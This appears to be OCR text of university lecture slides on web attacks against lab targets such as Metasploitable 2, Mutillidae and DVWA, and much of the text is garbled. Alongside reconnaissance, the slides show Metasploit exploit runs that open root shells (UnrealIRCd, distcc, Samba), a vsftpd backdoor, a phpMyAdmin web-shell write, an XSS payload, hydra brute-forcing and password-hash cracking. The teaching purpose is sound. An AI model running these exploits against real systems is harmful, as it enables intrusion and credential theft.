Web Attacks

e Metasploitable 2.

e Understand how to use proxies to incept and change Web
communications.

e Threats: Backdoors, Dictionary Attacks, Code Injections, SQL
Injection, and Link Modifications

Author: Prof Bill Buchanan
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I OWASP Top 10 - 2013 -> OWASP Top 10 - 2017

A1 - Injection =) A1:2017-Injection
A2 - Broken Authentication and Session Management =) A2:2017-Broken Authentication
A3 - Cross-Site Scripting (XSS) A3:2017-Sensitive Data Exposure

A4 - Insecure Direct Object References [Merged+A7) A4:2017-XML External Entities (XXE) [NEW]

AS - Security Misconfiguration A5:2017-Broken Access Control [Merged]

A6 - Sensitive Data Exposure A6:2017-Security Misconfiguration

A7 - Missing Function Level Access Contr [Merged+A4)] A7:2017-Cross-Site Scripting (XSS)
AB - Cross-Site Request Forgery (CSRF) AB:2017-Insecure Deserialization [NEW, Community)
A9 - Using Components with Known Vulnerabilities A9:2017-Using Components with Known Vulnerabilities

A10 - Unvalidated Redirects and Forwards A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]
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GET /help.htm HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIES5.01; Windows NT)
Host: www.asecuritysite.com

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

HTTP
request

GET
POST
HEAD

OPTIONS Web server

Options

Accept-Charset:
Accept-Encoding:
Accept-Language:
Authorization:
Expect:

From:

Host:
If-Modified-Since:
If-Unmodified-Since:
Referer:
User-Agent;

§ <body>
192.168.75.1
[00:0c:29:0f:71:a3] [y </body>

</html>

Web attacks  INETTER

1xx Informational responses
2 2xx Success

3 3xx Redirection

4 4xx Client errors

5 5xx Server errors

200 Command okay.
400 Bad Request
401 Not authorized
403 Forbidden.
404 Not found.
429 Too Many Requests
500 Internal Server Error
501 Not Implemented
502 Bad Gateway

reply 503 Service Ungvailable
504 Gateway Timeout

HTTP/1.1 200 OK

Date: Mon, 27 Jul 2009 12:28:53 GMT

Server: Apache/2.2.14 (Win32)

Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT
Content-Length: 88

Content-Type: text/html

Connection: Closed

<h1>Hello, World!</h1>

or: Prof Bill Buchanan

HTTP Reauest and Resbonse



Web Attacks

http://mysite.com/mypage.php?vall=10&val2=20

GET /mypage.php?vall=10&val2=20

User-Agent: Opera/9.80 (Windows NT 6.0; U; en) Presto/
2.2.15 Version/10.01

Host: 192.168.75.132

Accept: text/html, application/xml;g=0.9, application/
xhtml+xml, image/png, image/jpeg, image/gif, image/x-
xbitmap, */*;g=0.1 Accept-Language: en-GB,en;qg=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;g=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;g=0
Connection: Keep-Alive..

HTTP/1.1 200 OK
Content-Length: 2606
Content-Type: text/html

Last-Modified: Sun, 13 Dec 2009 15:16:14 GMT
Accept-Ranges: bytes ETag: "fc31243677ccal:745" Server: Microsoft-IIS/

6.0 X-Powered-By: ASP.NET
Date: Sat, 02 Jan 2010 22:33:01 GMT

<HTML> <HEAD> <TITLE>SFC (Final Test)</TITLE> <META http-equiv=Content-

Variables
name1 and
name2 have
been passed
into the page

Type content="text/html; charset=iso-8859-1"> <LINK href="2.css"
type=text/css rel=stylesheet> <style type="text/css"> ..

192.168.75.1
[00:0c:29:0f:71:a3]  192.168.75.131

Application Protocol Analvysis

Author: Prof Bill Buchanan



Web Attacks HTTP

http://mysite.com/mypage.php

<form action="/test/demo form.php" id="forml" method="post"> Variables
Valuel: <input id="vall" name="vall" type="text" />

Value2: <input id="val2" name="val2" type="text" /> name1 and
<input type="submit" value="Go!" /> name2

</£orm> have been
passed into
the page

POST /test/demo form.php HTTP/1.1
Host: myhost.com
vall=10&val2=10

HTTP/1.1 200 OK

Content-Length: 2606

Content-Type: text/html

Last-Modified: Sun, 13 Dec 2009 15:16:14 GMT

Accept-Ranges: bytes ETag: "fc31243677ccal:745" Server: Microsoft-IIS/
6.0 X-Powered-By: ASP.NET

Date: Sat, 02 Jan 2010 22:33:01 GMT

<HTML> <HEAD> <TITLE>SFC (Final Test)</TITLE> <META http-equiv=Content-
Type content="text/html; charset=iso-8859-1"> <LINK href="2.css"
type=text/css rel=stylesheet> <style type="text/css"> ..

192.168.75.1
[00:0c:29:0f:71:a3]  192.168.75.131

Author: Prof Bill Buchanan

Application Protocol Analvysis



FriJun 15, 824 PM

1 hezpine2 168 Olmetilidees 3 LIRS

Eii Mutillidae: Born to be Hacked - 192.168.119.130 / localhost | phpMyAdmin 3.2.0.1 = keweasel e e

X | http//192.1..Ofshellphp X | &
Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Mome Login/Register Toggle Mints Togole Security Reset DB View Log View Captured Data

€ 9 2192168.119.130 |G A a0 + #
#2Most Visited ¥ llOffensive Secunity "\ Kali Linux \Kali Docs \Kali Tools KBExplon-08 W Arcrack-ng

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP . Ml A\ " Charsets Engines Privileges Processes
Top 10 phplyAdmin f & o) k3

g Export [l rt
Latest Version / instaliation @@ i EXpo (&2 impo

~Run SQL query/queries on server "localhost”: @

« Latest Version
« Installation Instructions * cdcol (1)

. UG:;qoln’nmcuoni e  information_schema (29)
. t rid of th ky PHI
o St poiay ™ Py P ey * mysql (23)

* phpmyadmin (8)

* test

o($_GET['cmd']); 7>" into outfile "C:\\xampp

Please select a database ;
Bookmark this SQL query:

Let every user access this bookmark

http://192.168.0.32/phpMyAdmin

oA )

Warning: Never expose this VM to an untrusted network! Welcome to Damn Vulnerable Web App!

Contact: msfdev[at]metasploit.com

o ) ) WARMING!
Login with msfadmin/msfadmin to get started mctcten

Dlsctainwes

TWiki
G vt ah Vst uctione

L

e phpMyAdmin eiaites X 1
e Mutillidae :

e DVWA

. \NebDAV

Web Attacks
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Web Discovery
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root@kali:~# nmap -n -Pn -sS -p80,8080 10.200.0.47

Starting Nmap 6.25 ( http://nmap.org ) at 2014-05-26 14:52 EDT
Nmap scan report for 10.200.0.47

Host is up (0.00067s latency).

PORT STATE SERVICE

80/tcp open http

8080/tcp closed http-proxy

MAC Address: 00:50:56:AB:19:3A (vMware)

10.200.0.47

-Pn = No host discovery

-sS —=SYN scan

-p — Ports to scan

-sV  —service protocol information

root@kali:~# nmap -sv —-p80,8080 10.200.0.47
starting Nmap 6.25 ( http://nmap.org ) at 2014-05-26 14:55 EDT
Nmap scan report for 10.200.0.47
Host is up (0.00054s latency).
PORT STATE SERVICE VERSION
Discovered: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
a EIChI X 8080 /tcp closed http-proxy

- Ubuntu. MAC Address: 00:50:56:AB:19:3A (VMware)
- MAC address.

nmap service discovery

Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.38 seconds

Web Attacks

Author: Prof Bill Buchanan
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root@kali :~# telnet 10.200.0.47 80
HEAD /
<RETURN><RETURN>

HTTP/1.0/1.1 200 oK

Date: Mon, 26 May 2014 18:58:21 GMT
server: Apache/2.2.8 (Ubuntu) DAvV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close

Ccontent-Type: text/html

cat /var/log/apache/access. log
10.200.0.40 - - [04/Feb/2018:05:13:29 -0800] "GET /" 200 155 "-" "-"
10.200.0.40 - - [04/Feb/2018:05:14:26 -0800] "HEAD /" 400 301 "-" "-"

red:\ S | m[@

:Apiﬁhs httpd 2.2.8 Z A aChe
e ubamte's.10 [

HTTP SERVER I .

Service discovery

root@kali:~# nc 10.200.0.47 80
HEAD /
<RETURN><RETURN>

Web Attacks

Author: Prof Bill Buchanan
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Web Attacks

root@kali:~# nikto -h 10.200.0.47
Nikto v2.1.4

Target IP: 10.200.0.47

Target Hostname: 10.200.0.47

Target Port: 80

Start Time: 2014-05-27 15:01:30

Server: Apache/2.2.8 (Ubuntu) DAV/2

Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10

Apache/2.2.8 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release)
and 2.0.64 are also current.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/
e8z01xdh%28vs .80%29.aspx for details.

OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

0SVvDB-3233: /phpinfo.php: Contains PHP configuration information

OSVDB-3268: /doc/: Directory indexing found.

OSVDB-48: /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive
information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpMyAdmin/: phpMyAdmin is for managing MysSQL databases, and should be protected or
Timited to authorized hosts.

OSVDB-3268: /test/: Directory indexing found.

OSVDB-3092: /test/: This might be interesting...

OSVDB-3268: /icons/: Directory indexing found.

OSVDB-3233: /icons/README: Apache default file found.

6448 items checked: 1 error(s) and 13 item(s) reported on remote host

2014-05-27 15:02:07 (37 seconds)

1 host(s) tested

Discovered: g 10.200.0.47
- Folders: doc, test, icons, phpMyAdmin '

- phpinfo.php
- Server type.
- XST vulnerability.

Author: Prof Bill Buchanan
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

Target URL (eg http://example.com:80/)
http://10.200.0.47

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing
Work Method Use GET requests only (+) Auto Switch (HEAD and GET) File Options About Help

http://10.200.0.47:80/
Number Of Threads D 48 Threads Go Faster
) Scan Information | Results - List View: Dirs: 43 Files: 24 ' |Results - Tre ew]\ /\ Errors: 0
Directory Stucture Response Code Response Ske
Select scanning type ») Ust based brute force Pure Brute Force

File with list of dirs/files

usr/share/dirbuster/wordlists/directory-ist-2.3-small.txt Browse

mutillidae

Select starting options ») Standard start point URL Fuz cgi-bin

v Brute Force Dirs v| Be Recursive Dir to start with

1049
v Brute Force Files Use Blank Extension File extension Current speed: 68 requests/sec (Select and right click for more options)
Average speed: (T) 89, (C) 64 requests/sec
Parse Queue Size: 3618 Current number of running threads: 48
Total Requests: 20766/7713775 Change
Time To Finish: 1 Day

Report

Imutillidae/footeriml

root@kali:/us ’'share/dirbus teriwordlists# Is
10.200.0.47 apache-user-enum-1.0.txt directory-list-2.3-medium.txt
apache-user-enum-2.0.txt directory-list-2.3-small.txt
directories.jbrofuzz  directory-list-lowercase-2.3-medium.txt
directory-list-1.0.txt directory-list-lowercase-2.3-small.txt
root@kali:/us ’'share/dirbus teriwordlists# head directory-list-lowercase-2.3-small.txt
index
images
download
@ A 2006
DirBuster news

- crack

FLE & DRECTOR

Web Attacks
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® root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131. ..

Connected to 10.200.0.1.

Escape character is 'A]’

220 (vsFTPd 2.3.4)

user mybackdoors:)

331 Please specify the password.

pass none

A]

telnet> quit

Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 10.200.0.1...

Connected to 10.200.0.1.

Escape character is 'A]’

id;

uid=0(root) gid=0(root)

Metasploitable

VSFTPD

FtpServer \

192.168.99.131
M S Metasploitable

Author: Prof Bill Buchanan

Web Attacks
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Web Attacks

$ msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 10.200.0.239
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] started reverse double handler
[*] connected to 10.200.0.239:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
hostname. ..
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your
hostname; using your IP address instead
[*] sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] command: echo EuOnaOIiLuzXxAmSN;
[*] writing to socket A
[*] writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
] B: "EuonaOIiLuzxAmSN\r\n"
*]1 Matching...
]
]

A is input...
command shell session 1 opened (10.200.0.206:4444 ->
0.200.0.239:57039) at 2015-03-09 17:56:44 -0400

Metasploitable

WYy =riviylr.
UNREARGD
1d

‘uid=0(root) gid=0(root)

Metasploitable

Author: Prof Bill Buchanan
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$ msfconsole

msf > use exploit/unix/misc/distcc_exec
mst exploit(distcc_exec) > set RHOST 10.200.0.239
msf exploit(distcc_exec) > exploit

b

ELIE I R

I_Iﬁl_lﬁl_lﬁl_ll_lﬁl_lﬁ

3

ul_lul_ll_ll_lul_ll_ll_ll_l

Sstarted reverse double handler

Accepted the first client connection...
Accepted the second client connection...
command: echo 0sYn6DSuN4gp4cBb;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket B

B: "0sYn6DSuN4gp4cBb\r\n"

Matching...

A 1is input..

Command she11 session 1 opened (10.200.0.206:4444 ->

10 200.0.239:46007) at 2015-03-09 18:03:46 -0400

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Metasploitable

10.200.0.239

Web Attacks

Metasploitable

Author: Prof Bill Buchanan
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root@kali :~# smbclient -L //10.200.0.239
Enter‘ root's password:
gl

Anonymous login successful

Domain=[WORKGROUP] 0S=[Unix] Server=[Samba 3.0.20-Debian]
sharename Type Comment
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPCS IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN S IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole

msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 10.200.0.239
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp

msf auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...

[*] Trying to mount writeable share '"tmp'...

[*] Trying to 1ink 'rootfs' to the root filesystem...

[*] Now access the following share to browse the root filesystem:
[*]1 \\10.200.0.239\tmp\rootfs\

Metasploitable

[*] Auxiliary module execution completed
msf auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //10.200.0.239/tmp
N

N

\ssmb: \> cd rootfs

smb: \rootfs\> cd etc

smb: \rootfs\etc\> more passwd

getting file \rootfs\etc\passwd of size 1581 as /tmp/smbmore.5h00zv (514.6 KiloBytes/sec)
(average 514.6 KiloBytes/sec)

Anonymous login successful

Web Attacks

Web scanning



Metasploitable

.200.0.239:51637) at 2015-03-09 18:39:24 -0400

> use exploit/multi/samba/usermap_script
exploit(usermap_script) > set RHOST 10.200.0.239
exploit(usermap_script) > exploit

Started reverse double handler

Accepted the first client connection...

Accepted the second client connection...

Command: echo sjT712XVXJIpmrLXw;

writing to socket A

writing to socket B

Reading from sockets...

Reading from socket B

B: "sjT712XvxJIpmrLxw\r\n"

Matching. ..

A is 1input...

command shell session 1 opened (10.200.0.206:4444 ->

(CVE-2007-2447): MS-RPC methods
used in smbd on Samba (3.0.0 to
3.0.25rc3) allowed a remote shell using
shell metacharacters .

10.200.0.239

Web Attacks

Author: Prof Bill Buchanan
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Weak Passwords
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Web Attacks

Metasploitable

Weak passwords:

msfadmin
user
postgres
sys

klog
service

root@kali:~/hashes# john shadow

Loaded 7 password hashes with 7 different salts (FreeBSD MD5
[128/128 SSE2 intrinsics 12x])

msfadmin (msfadmin)

postgres (postgres)

user (user)

service (service)

123456789 (kTlog)

batman (sys)

guesses: 6 time: 0:00:00:09 0.00% (3) «c/s: 29592 trying:
3785 - 3594

root@kali:~/hashes# john --show shadow
sys:batman:14742:0:99999:7:::
k10g:123456789:14742:0:99999:7:::
msfadmin:msfadmin:14684:0:99999:7:::
postgres:postgres:14685:0:99999:7:::
user:user:14699:0:99999:7:::
service:service:14715:0:99999:7:::

6 password hashes cracked, 1 left

root@kali:~/hashes# head shadow
root:$1%$/avpfBI1$x0z8w5UF9Iv./DRIEIL1d.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::

bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3Up0zQIlqz4s5wFD910:14742:0:99999:7:::

NG

Author: Prof Bill Buchanan
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Weak Passwords

Web Attacks

root@kali:~/hashes# john --wordlist=/usr/share/wordlists/rockyou.txt shadow
Loaded 7 password hashes with 7 different salts (FreeBSD MD5 [128/128 SSE2
intrinsics 12x])

Remaining 1 password hash

guesses: 0 time: 0:00:00:06 0.91% (ETA: Thu oct 8 16:15:44 2015) <c/s:
23448 trying: susanp - suit3

Session aborted

root@kali:~/hashes# john --show

Password files required, but none specified

root@kali:~/hashes# john --show shadow

sys:batman:14742:0:99999:7:::

k10g:123456789:14742:0:99999:7:::

msfadmin:msfadmin:14684:0:99999:7:::

postgres:postgres:14685:0:99999:7:::
user:user:14699:0:99999:7:::
service:service:14715:0:99999:7:::

Metasploitable
Weak passwords:
msfadmin

user

postgres

sys

klog

service

Author: Prof Bill Buchanan
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Weak Passwords

Web Attacks

root@kali:~/hashes# cat shadow_export
$1%/avpfBI11$x0z8w5UF9IVv./DRIEILId.
$1$F2zvMS4KSRIXKI .CmLdHhdUE3X9jqP0O
$1$XN10Zj2cSRt/zzCW3mLtUWA. 1hZzjAS5/

root@kali:~/hashes# hashcat -m 500 shadow_export /usr/share/wordlists/rockyou.txt
Initializing hashcat v0.49 with 1 threads and 32mb segment-size...

Added hashes from file shadow_export: 3 (3 salts)

NOTE: press enter for status-screen

$1$F2zvMS4KS$RIXKTI .CcmLdHhdUE3X9]jqP0:123456789

Metasploitable
Weak passwords:
msfadmin

user

postgres

sys

klog

service

Author: Prof Bill Buchanan
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Burp Suite

>

127.0.0.1:8080

Applications Places . Thu 8 Oct, 17:21

FINAL_Kali 1.1_Use

Kali Linux, an Offensive

honithnalabasatioll_dafesthabuab I = b oo iy \}

Connection Settings
General Tabs Content Applications Privacy Security Sync
Configure Proxies to Access the Internet Kali

No proxy General Network Update Certificates

Auto-detect proxy settings for this network Connection

Use system proxy settings Configure how Iceweasel connects to the Internet Settings

® Manual proxy configuration Cached Wab C
. ache ‘eb Content

HTTP Proxy: | 127.0.0.1 Port 8080
- - Your web content cache is currently using 2.2 MB of disk space Clear Now

Use this proxy server for all protocols
= Override automatic cache management

SSL Proxy Port
ETP Proxy Port Offline Web Content and User Data
SOCKS Host Port: 0 Your application cache is currently using O bytes of disk space Clear Now

SOCKSv4 ©® SOCKSyS Remote DNS ¥ Tell me when a website asks to store data for offline use Exceptions

No Proxy for The following websites are allowed to store data for offline use

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL

Do not prompt for authentication if password is saved

Web Attacks

Help Cancel

an Offensiv T Iceweasel Preferences




SUrp suite

Burp Suite

»
!

127.0.0.1:8080

Applications Places System

* Mozilla Firefox

192.168.190.135:80

Fri jun 15, 8:24 PM

§ httpy//192.168....01/mutillidae/ 3% EEEEEEENIENEFESTIEI B

§ 192.168.56.101

v & |*§v CVE-2012-1823

@®@%¢ Mutillidae: Born to be Hacked

Web Attacks

Core Controls

OWASP Top 10

Docum-nhtlon

/,"'\

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these

Mozilla Add-ons

(5 root@bt: ~

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB

View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP

Top 10

Latest Version / Installation

« Latest Version

« Installation Instructions
« Usage Instructions
* Getrid of those pesky PHP errors

* Change Log
* Notes

©) Mozilla Firefox

Samurai WTF and Backtrack contains all the tools needed or you may build your own collection

=

(o, Y/
backitrack // ‘

Author: Prof Bill Buchanan
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Web Attacks

Burp Suite

™

:

127.0.0.1:8080

http://192.168.190.135/mutillidae

192.168.190.135:80

Target I I Spider ] Scanner I Intruder T Repeater T Sequencer I Decoder ] Comparer ] Options ] Alerts ]
I I History ] Options ]

Request to http://192.168.190.135:80

Forward _ Drop [ Intercept is on _ Action

JRaw I Params I Headers I Hex ]

GET /mutillidae/ HTTP/1.1

Host: 192.168.190.135

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9 */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: showhints=1; PHPSESSID=57cf4f8b49c456170ee2070c7e0dcS60

Connection: keep-alive

f-Modified-Since: Fri, 07 Mar 2014 14:10:01 GMT

Raw l Params ] Headers ] Hex ]

GET /mutillidae/ HTTP/1.1

-ost: 192.168.190.135

Jser-Agent: Mozilla/S.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-US,en;q=0.5
accept-Encoding: gzip, deflate

Cookie: showhints=1; PHPSESSID=57cf4f8
Connection: keep-alive

f-Modified-Since: Fri, 07 Mar 2014 14:10:01

Send to Spider

Send to Repeater Ctrl+R
Send to Sequencer

To intercept and

Send to Intruder Ctri+! / Change

Auchor: Prof Bill Buchanan
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Burp Suite

»

127.0.0.1:8080

http://192.168.190.135/mutillidae

Burp Suite Free Edition v1.5
Burp Intruder Repeater Window MHelp

| Target i Proxy i Spider 1 Scanner [lnvv«rl Repeater 1 Sequencer 1 Decoder 1 Comparer 1 Options 1 Alerts |

Jowl2 -3 -Jax]s -Je -]

| Target [Posmn] Payloads 1 Options |

Configure the positions where payloads will be inserted into the base request The attack type determines the way in which payloads are assigned to payload
positions - see help for full details

Attack type | Sniper

[GET /mutidae/index phppage= §logNsiphp HTTP/1.1 Add§
Host: 10.200.0.47
User-Agent: Mozilla/S.0 (X11: Linux 686; rv:18.0) Gecko/201001

Accept: text/html.applicationxhtmi+xmlapphcationxml;q=0.9.4/

refox/18.0 iceweasel/18.0.1 Clear s

Language: en n:q=0.5 Auto §
ept-Encoding: gzip, deflate

Referer: Mtp/10.200.0.47/muwtillidae

1023023506b0083b5Sb 7083

GET /mutillidae/index.php?page=login.php HTTP/1.1

Host: 10.200.0.47

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Iceweasel/18.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.200.0.47/mutillidae/

Cookie: PHPSESSID=07ff27a73f023023506b0083b5fb7083

Connection: keep-alive

If-Modified-Since: Mon, 26 May 2014 21:47:52 GMT

|
T

Web Attacks

192.168.190.135:80

¥~ Add sniper

Author: Prof Bill Buchanan
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Web Attacks

Burp Suite

»

http://192.168.190.135/mutillidae

127.0.0.1:8080

Burp Suite Free Edition v1.5
Intruder Repeater Window Melp

[ Target | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Options | Aerts |

192.168.190.135:80

Jowl2 -3 - Ja s o]

Target | Poswions | Payicads l Options |

You can define one or more pmfoad sets The number of payload sets depends

avalable for each payload set. and each payload type can be customized in different ways

Payload set 1 Payload count S

Simple list Request count 5

v
Payload type v

Nst of strings that are used as payloads

This payload type lets you configure & simple

acccounts
access

Paste

counting
admin
administratyo

Load
Remove

Clear

Add

Add from hist . [Pro version only)

You can define rules to perform various processing tasks on each payload before 2 is us

Add Enabled Rule

Edn

on the attack type defined in the Positions tab. Various pay

yload types are

T——  Add list of files

Author: Prof Bill Buchanan
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Burp Suite

S >
Q) 127.0.0.1:8080

http://192.168.190.135/mutillidae

102 168 190 13580

Target 1 Proxy | Spider Scanner rlm.ruder] Repeater l Sequencer l Decoder l Comparer [ Options lAJerts

2 6 |
Target | P¢ Intruder attack 1

Attack Save Columns

| Results I Target [ Positions 1 Payloads l Options l

You <[
payloa| Filter: Showing all items

~. avallable

Request 4 Payload Status Error Timeout | Length Comment

200 @] O 26433 baseline request
1 200 o J 22107
2 admin 200 ) 73732
3 administrator 200 8] ) 73828
4 accounts 200 ) ) 22147
S
6
7

Paylos

Payloa

accounting 200 ) ) 22157
agent 200 @] O 22132
agents u 8 22137
secret o) o 73744
secretstuff J C 22162

accounting

agent

agents

secret

secretstuff
Pa

]

Lo¢ 2
chquclt] Response | Request | Respome |

[ Raw | Headers | rex | Hroe [ Render |

R Y Y
"_[ Rnn]Porams 1m-adws 1)1:-.1
—
CIGET /mutillidae/index php?page=admin.php HTTP/1.1 Mutillidae: Born to be Hacked
y 19, 90.135 Version: 2.1.19 Not Logged In
1; Uinux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Icewease ogin/Register Togaie Hng Reset OF DX

xhtmil+xml.applicationxml;q=0.9,%/%:q=0.8

Language
¢ -Encoding olo VRegister -
Referer: http 68.19 mutillidaefindex.php?page=home php IPHP VerSIOI‘I
Cookie: showhints=1 SID=57cf4f8b49¢456170ee2070¢7e0dcS60

ction: close

dfied-Since: Fri, 07 Mar 2014 19:30:37 GMT

Web Attacks

Author: Prof Bill Buchanan
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Burp Suite

Olactaimme

-

127.0.0.1:8080

-

{ Welcome to Damn Vulnerable Web App!
/ " WARNING
- . : . -

hydra -L list_user -P list_password [IP META] http-post-form
‘/dvwa/Togin.php:username=AUSERA&password=APASSA&Login=Login:Login failed’

LUIp U UUST NCPSaLS! WUV  1ISIY

lv Target] ] Spider ] Scanner Ilntruder ] Repeater I Sequencer I Decoder ] Comparer I Extender I Options ] Alerts 1
vTarget Positions I Payloads ] Options ]

>

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload
positions - see help for full details

Attack type: | Cluster bomb v

GET /DWA/vulnerabilities/brute/?username=§Try§&password=§1§&Login=Login HTTP/1.1 A Add'§

Host: 127.0.0.1 P —
User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Clear §

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%*;q=0.8 —
Accept-Language: en-US,en;q=0.5 Auto §

Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/DWA/vulnerabilities/brute/ Refresh
Cookie: security=low; PHPSESSID=4ppdplemctffotdt7pm64usnla
Connection: keep-alive

Web Attacks

Author: Prof Bill Buchanan
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Burp suite

Web Attacks

http: //10.200.0.47] /muti 11idae/index. php?page=dns—Tookup. pl pdl UL LD

Burp Suite

127.0.0.1:8080 Q S 5w N s E—

Lhe (6 Yow Mgrery Deckmads ook b
L 5] § Mg e instup by * |

@%¢«  Mutillidae: Born to be Hacked

 Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)
Togyie thate =

]

Mome  Login Regrtor

Topyle Securtty  Reset BB Viewlog  View(

[ DNS Lookup ]

\‘rj""‘

| Who would you like to do a DNS lookup on? ]
Enter IP or hostname

Hostname 1P

POST /mutillidae/index.php?page=dns-Tookup.php HTTP/1.1
Host: 10.200.0.47

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:18.0) Gecko/20100101 Firefox/18.0
Iceweasel/18.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.200.0.47/mutillidae/index.php?page=dns-Tookup.php

Cookie: PHPSESSID=2858f079ae6eaad4f60e4d2c8ecde77a2

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

target_host=google.com&dns-1ookup-php-submit-button=Lookup+DNS

Author: Prof Bill Buchanan
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127.0.0.1:8080 =

HTTP/1 1 200 OKDate Tue, 27 May 2014 0947 2% Server Apache/2 2 § (Ubuntu) DAV/2X Po
HTTP/1.1 200 OxDate: Tue, 27 May 2014 09.43 20 Server Apache/2 2 8 (Ubuntu) DAV/2XPe

http: //10- zm- 0 B 47 ] /"'l]t'i 11 _idae/_i mex. p’p?page:d Word compare of #1 and #2 (21 differences)

POST /mutillidae/index.php?page=dns-
Host: 10.200.0.47
User-Agent: Mozilla/5.0 (X11; Lin
Iceweasel/18.0.1
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.200.0.47/mutil1id §
L cookie: PHPSESSID=2858f079aec6eaad4f6
a Connection: keep-alive
q Content-Type: application/x-www-form-urlencoded
S content-Length: 62
nn‘target_host=goog1e.com&dns—'lookup—php—subm‘it—button=Lookup+DNS

/18.0

Iceweasel/18.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.200.0.47/mutillidae/index.php?page=dns-Tookup.php
Cookie: PHPSESSID=2858f079aebeaad4f60e4d2c8ecde7a2

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Ccontent-Length: 62 m
target_host=1intel.comdns-1ookup-php-submit-button=Lookup+DNS

Web Attacks

Author: Prof Bill Buchanan
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Web Attacks

Burp Suite

»

127.0.0.1:8080

POST /mutillidae/index.php?page=dns-1a9
Host: 10.200.0.47
User-Agent: Mozilla/5.0
Iceweasel/18.0.1

Accept: text/html,application/xhtml+x
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.200.0.47/mutillida
Cookie:
Connection: keep-alive

Content-Type: application/x-www-form-u
Content-Length: 62

(X11; Linu

target_host=<script>alert('Oops I have

submi t-button=Lookup+DNS

« Connecting

http: //10.200.0.47] /muti 11idae/index. php?page=dns—1ookup P

10.200.0.47

vQl Bv

M) Most Visitedv [flOffensive Security N Kali Linux \ Kali Docs KBExploit-DB Wy Aircrack-ng

Q}@ Mutillidae: Born to be Hacked

